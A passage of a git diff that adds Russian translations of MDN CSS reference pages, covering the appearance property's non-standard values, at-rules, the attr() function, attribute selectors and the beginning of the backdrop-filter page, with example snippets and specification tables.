+   <td><code>-moz-window-titlebar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowTitlebar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-titlebar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-titlebar-maximized</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowTitlebarMaximized">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-titlebar-maximized; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebarMaximized",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-apple-pay-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleApplePayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: -apple-pay-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleApplePayButton",100,50,"","", "nobutton")}}</td>
+   <td>Safari</td>
+   <td><strong>iOS and macOS only</strong>. Available on the web starting in iOS 10.1 and macOS 10.12.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:</p>
+
+<pre class="brush: css">.exampleone {
+  -moz-appearance: toolbarbutton;
+}
+</pre>
+
+<p>Смотрите также <a href="http://jsfiddle.net/go392m5s/">this JSFiddle</a> в качестве примера, показывающего как вы можете использвать <code>appearance: none</code> для стилизации радио кнопок и чекбоксов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Basic UI", "#appearance-switching", "appearance")}}</td>
+   <td>{{Spec2("CSS4 Basic UI")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка  браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.appearance")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2004/CR-css3-ui-20040511/#appearance">Definition of <code>appearance</code> in CSS 3 Basic User Interface</a> (Candidate Recommendation from 2004-05-11).</li>
+ <li><a class="external" href="http://wiki.csswg.org/spec/css4-ui#dropped-css3-features">Dropped CSS3 features from the UI spec.4</a></li>
+</ul>
diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html
new file mode 100644
index 0000000000..fd71ca762f
--- /dev/null
+++ b/files/ru/web/css/at-rule/index.html
@@ -0,0 +1,76 @@
+---
+title: At-rules
+slug: Web/CSS/At-rule
+translation_of: Web/CSS/At-rule
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>At-rules</strong> это <a href="/ru/docs/Web/CSS/Синтаксис#CSS_statements">CSS операторы</a>, которые показывают CSS как себя вести. Они начинаются со знака at, '<code>@</code>' (<code>U+0040 КОММЕРЧЕСКОЕ AT</code>), сопровождается идентификатором, и включает в себя всё до следующей точки с запятой, '<code>;</code>' (<code>U+003B ТОЧКА С ЗАПЯТОЙ</code>), или до следующего <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Синтаксис#Блоки_объявлений_CSS">CSS блока</a>, в зависимости от того, что наступит раньше.</span></p>
+
+<pre class="brush: css">/* Общая структура */
+@ИДЕНТИФИКАТОР (ПРАВИЛО);
+
+/* Пример: говорит браузеру использовать UTF-8 кодировку символов */
+@charset "utf-8";</pre>
+
+<p>Существует несколько at-правил, обозначаемые идентификаторами, каждое из которых имеет свой синтаксис:</p>
+
+<ul>
+ <li>{{cssxref("@charset")}} — Определяет кодировку символов, используемый таблицей стилей.</li>
+ <li>{{cssxref("@import")}} — Сообщает движку CSS включить внешнюю таблицу стилей.</li>
+ <li>{{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имен XML.</li>
+ <li><strong><em>Вложенные at-правила</em></strong> — Подмножество вложенных операторов, которые могут использоваться как оператор таблицы стилей, а также внутри правил условной группы.
+  <ul>
+   <li>{{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определенному с помощью медиазапроса.</li>
+   <li>{{cssxref("@supports")}} — Условное групповое правило, которое будет применять его содержимое, если браузер соответствует критериям данного условия.</li>
+   <li>{{cssxref("@document")}} {{experimental_inline}} — Условное групповое правило, которое будет применять его содержимое, если документ, в котором применяется таблица стилей, соответствует критериям данного условия.</li>
+   <li>{{cssxref("@page")}} — Описывает аспект изменений макета, который будет применен при печати документа.</li>
+   <li>{{cssxref("@font-face")}} — Описывает аспект внешнего шрифта для загрузки.</li>
+   <li>{{cssxref("@keyframes")}} — Описывает аспект промежуточных шагов в последовательности анимации CSS.</li>
+   <li>{{cssxref("@viewport")}} {{experimental_inline}} — Описывает аспекты области просмотра для устройств с маленьким экраном. (в настоящее время на стадии разработки проекта)</li>
+   <li>{{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределенного набора стилей.</li>
+   <li>{{cssxref("@font-feature-values")}} (плюс <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> и <code>@character-variant</code>)<br>
+    — Определите общие имена в {{cssxref("font-option-alternates")}} для функции, которая по-разному активируется в OpenType <em>(at the Candidate Recommendation stage, but only implemented in Gecko as of writing)</em></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Условные_групповые_правила"><span style="letter-spacing: -0.00278rem;">Условные групповые правила</span></h2>
+
+<p><span style="font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;">Как и значения свойств, каждое at-правило имеет свой синтаксис. Тем не менее, некоторые из них могут быть сгруппированы в специальную категорию, называемую Условные групповые правила. Эти операторы имеют общий синтаксис, и каждый из них может включать вложенные операторы - либо наборы правил, либо вложенные правила. Кроме того, все они передают общее семантическое значение - все они связывают некоторый тип условия, которое в любой момент оценивается как истинное или ложное. Если условие оценивается как истинное, то будут применяться все операторы в группе. Условные групповые правила описываются в <a href="http://dev.w3.org/csswg/css3-conditional/">CSS Conditionals Level 3</a> и в:</span></p>
+
+<ul>
+ <li>{{cssxref("@media")}},</li>
+ <li>{{cssxref("@supports")}},</li>
+ <li>{{cssxref("@document")}}. <em>(deferred to Level 4 of CSS Spec) </em></li>
+</ul>
+
+<p>Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Стандартизирует <code>@-webkit-keyframes</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/css/attr()/index.html b/files/ru/web/css/attr()/index.html
new file mode 100644
index 0000000000..dfcd64f78f
--- /dev/null
+++ b/files/ru/web/css/attr()/index.html
@@ -0,0 +1,202 @@
+---
+title: attr
+slug: Web/CSS/attr()
+translation_of: Web/CSS/attr()
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>С помощью функции <a href="/en-US/docs/Web/CSS">CSS</a> <code>attr()</code> можно извлекать значение атрибута выбранного элемента и использовать это значение в таблице стилей. Функция работает и с псевдо-элементами. В этом случае возвращается значение атрибута элемента, для которого формируется <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a>.</p>
+
+<p>Функцию <code>attr()</code> можно использовать с любым свойством CSS, но поддержка иных свойств, кроме {{cssxref("content")}}, является экспериментальной.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:js notranslate">/* Пример простого использования */
+attr(data-count);
+attr(title);
+
+/* С типом */
+attr(src url);
+attr(data-count number);
+attr(data-width px);
+
+/* с фоллбэком */
+attr(data-count number, 0);
+attr(src url, '');
+attr(data-width px, inherit);
+attr(data-something, 'default');
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>attribute-name</code></dt>
+ <dd>Название атрибута элемента HTML, на который ссылаемся в CSS.</dd>
+ <dt><code style="white-space: nowrap;">&lt;type-or-unit&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>
+ <div class="translate-form__result-text typo typo_text_l i-bem typo_js_inited">Является ключевым словом, представляющим либо тип значения атрибута, либо его единицу, так как в HTML некоторые атрибуты имеют неявные единицы. Если использование <code>&lt;type-or-unit&gt;</code> в качестве значения для данного атрибута недопустимо, выражение <code>attr()</code> также будет недопустимым. Если этот параметр опущен, по умолчанию используется <code>string</code> . Список допустимых значений:</div>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Ключевое слово</th>
+    <th scope="col">Тип</th>
+    <th scope="col">Комментарий</th>
+    <th scope="col">Значение по умолчанию</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>string</code></td>
+    <td>{{cssxref("&lt;string&gt;")}}</td>
+    <td>The attribute value is treated as a CSS {{cssxref("&lt;string&gt;")}}.  It is NOT reparsed, and in particular the characters are used as-is instead of CSS escapes being turned into different characters.</td>
+    <td>An empty string</td>
+   </tr>
+   <tr>
+    <td><code>color</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;color&gt;")}}</td>
+    <td>The attribute value is parsed as a hash (3- or 6-value hash) or a keyword. It must be a valid CSS {{cssxref("&lt;string&gt;")}} value.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>currentColor</code></td>
+   </tr>
+   <tr>
+    <td><code>url</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;url&gt;")}}</td>
+    <td>The attribute value is parsed as a string that is used inside a CSS <code>url()</code>function.<br>
+     Relative URL are resolved relatively to the original document, not relatively to the style sheet.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td>The url <code>about:invalid</code> that points to a non-existent document with a generic error condition.</td>
+   </tr>
+   <tr>
+    <td><code>integer</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;integer&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;integer&gt;")}}. If it is not valid, that is not an integer or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>number</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;number&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>length</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;length&gt;")}} dimension, that is including the unit (e.g. <code>12.5em</code>). If it is not valid, that is not a length or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>em</code>, <code>ex</code>, <code>px</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, <code>mm</code>, <code>cm</code>, <code>in</code>, <code>pt</code>, or <code>pc</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;length&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>angle</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;angle&gt;")}} dimension, that is including the unit (e.g. <code>30.5deg</code>). If it is not valid, that is not an angle or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>deg</code>, <code>grad</code>, <code>rad</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an {{cssxref("&lt;angle&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>time</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;time&gt;")}} dimension, that is including the unit (e.g. <code>30.5ms</code>). If it is not valid, that is not a time or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>s</code>, <code>ms</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an{{cssxref("&lt;time&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>frequency</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;frequency&gt;")}} dimension, that is including the unit (e.g. <code>30.5kHz</code>). If it is not valid, that is not a frequency or out of the range accepted by the CSS property, the default value is used.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>Hz</code>, <code>kHz</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;frequency&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>%</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;percentage&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;percentage&gt;")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given value is used as a length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0%</code>, or, if <code>0%</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>&lt;fallback&gt;</code> {{experimental_inline}}</dt>
+ <dd>The value to be used if the associated attribute is missing or contains an invalid value. The fallback value must be valid where <code>attr()</code> is used, even if it is not used, and must not contain another <code>attr()</code> expression. If <code>attr()</code> is not the sole component value of a property, its <code>&lt;fallback&gt;</code> value must be of the type defined by <code>&lt;type-or-unit&gt;</code>. If not set, CSS will use the default value defined for each <code>&lt;type-or-unit&gt;</code>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css notranslate">p::before {
+  content: attr(data-foo) " ";
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;p data-foo="hello"&gt;world&lt;/p&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Examples", '100%', '80')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#attr', 'attr()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Added two optional parameters; can be used on all properties; may return other values than {{cssxref("&lt;string&gt;")}}. These changes are experimental and may be dropped during the CR phase if browser support is too small.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#x18', 'attr()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Limited to the {{cssxref("content")}} property; always return a {{cssxref("&lt;string&gt;")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.types.attr")}}</p>
diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html
new file mode 100644
index 0000000000..290db85234
--- /dev/null
+++ b/files/ru/web/css/attribute_selectors/index.html
@@ -0,0 +1,154 @@
+---
+title: Селекторы атрибутов
+slug: Web/CSS/Attribute_selectors
+translation_of: Web/CSS/Attribute_selectors
+---
+<p><span class="s1">{{CSSRef("Selectors")}}</span></p>
+
+<h2 id="Summary" name="Summary">Обзор</h2>
+
+<p>Селекторы атрибутов отбирают элементы по наличию атрибута или его значению.</p>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd>Обозначает элемент с атрибутом по имени attr.</dd>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr и значением в точности сопадающим с value.</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value</dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подкодом.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr значение которого начинается с "value"</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd>Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">/* Все span с атрибутом "lang" будут жирными */
+span[lang] {font-weight:bold;}
+
+/* Все span в Португалии будут зелеными */
+span[lang="pt"] {color:green;}
+
+/* Все span с американским английским будут синими */
+span[lang~="en-us"] {color: blue;}
+
+/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */
+span[lang|="zh"] {color: red;}
+
+/* Все внутренние ссылки будут иметь золотой фон */
+a[href^="#"] {background-color:gold}
+
+/* Все ссылки с url заканчивающимся на .cn будут красными */
+a[href$=".cn"] {color: red;}
+
+/* Все ссылки содержащие "example" в url будут иметь серый фон */
+a[href*="example"] {background-color: #CCCCCC;}
+</pre>
+
+<pre class="brush: html">&lt;div class="hello-example"&gt;
+    &lt;a href="http://example.com"&gt;English:&lt;/a&gt;
+    &lt;span lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/span&gt;
+&lt;/div&gt;
+&lt;div class="hello-example"&gt;
+    &lt;a href="#portuguese"&gt;Portuguese:&lt;/a&gt;
+    &lt;span lang="pt"&gt;Olá Mundo!&lt;/span&gt;
+&lt;/div&gt;
+&lt;div class="hello-example"&gt;
+    &lt;a href="http://example.cn"&gt;Chinese (Simplified):&lt;/a&gt;
+    &lt;span lang="zh-CN"&gt;世界您好！&lt;/span&gt;
+&lt;/div&gt;
+&lt;div class="hello-example"&gt;
+    &lt;a href="http://example.cn"&gt;Chinese (Traditional):&lt;/a&gt;
+    &lt;span lang="zh-TW"&gt;世界您好！&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 250, 100) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>7</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="http://dev.l-c-n.com/CSS3-selectors/browser-support.php" rel="noreferrer">CSS селекторы: базовая поддержка браузерами</a></li>
+ <li><a href="http://kimblim.dk/css-tests/selectors/" rel="noreferrer">Совместимость с браузерами селекторов и псевдо-селекторов CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html
new file mode 100644
index 0000000000..409d8095de
--- /dev/null
+++ b/files/ru/web/css/backdrop-filter/index.html
@@ -0,0 +1,130 @@
+---
+title: backdrop-filter
+slug: Web/CSS/backdrop-filter
+translation_of: Web/CSS/backdrop-filter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>backdrop-filter</code></strong> позволяет вам использовать визуальные эффекты - такие как размытие или смещение цвета фона - за элементом. Так как это применяется ко всему <em>за</em> элементом, чтобы увидеть эффект, вы должны сделать элемент или его фон по крайней мере частично прозрачными.</p>
+
+<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* Keyword value */</span></code><code class="language-css">
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span>
+
+<span class="comment token">/* фильтр URL в SVG */</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="token url">url(commonfilters.svg#filter)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* значения &lt;filter-function&gt; */</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">blur</span><span class="punctuation token">(</span><span class="number token">2</span><span class="token unit">px</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">brightness</span><span class="punctuation token">(</span><span class="number token">60</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">contrast</span><span class="punctuation token">(</span><span class="number token">40</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">drop-shadow</span><span class="punctuation token">(</span><span class="number token">4</span><span class="token unit">px</span> <span class="number token">4</span><span class="token unit">px</span> <span class="number token">10</span><span class="token unit">px</span> blue<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">grayscale</span><span class="punctuation token">(</span><span class="number token">30</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">hue-rotate</span><span class="punctuation token">(</span><span class="number token">120</span><span class="token unit">deg</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">invert</span><span class="punctuation token">(</span><span class="number token">70</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">opacity</span><span class="punctuation token">(</span><span class="number token">20</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">sepia</span><span class="punctuation token">(</span><span class="number token">90</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">saturate</span><span class="punctuation token">(</span><span class="number token">80</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Несколько фильтров */</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="token url">url(filters.svg#filter)</span> <span class="function token">blur</span><span class="punctuation token">(</span><span class="number token">4</span><span class="token unit">px</span><span class="punctuation token">)</span> <span class="function token">saturate</span><span class="punctuation token">(</span><span class="number token">150</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Глобальные значения */</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">backdrop-filter</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Фильтр отключен для фона</dd>
+ <dt><code>&lt;filter-function-list&gt;</code></dt>
+ <dd>Перечень фильтров, разделенных пробелами функций {{cssxref("&lt;filter-function&gt;")}} или <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG фильтра</a>, которые применены для фона.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
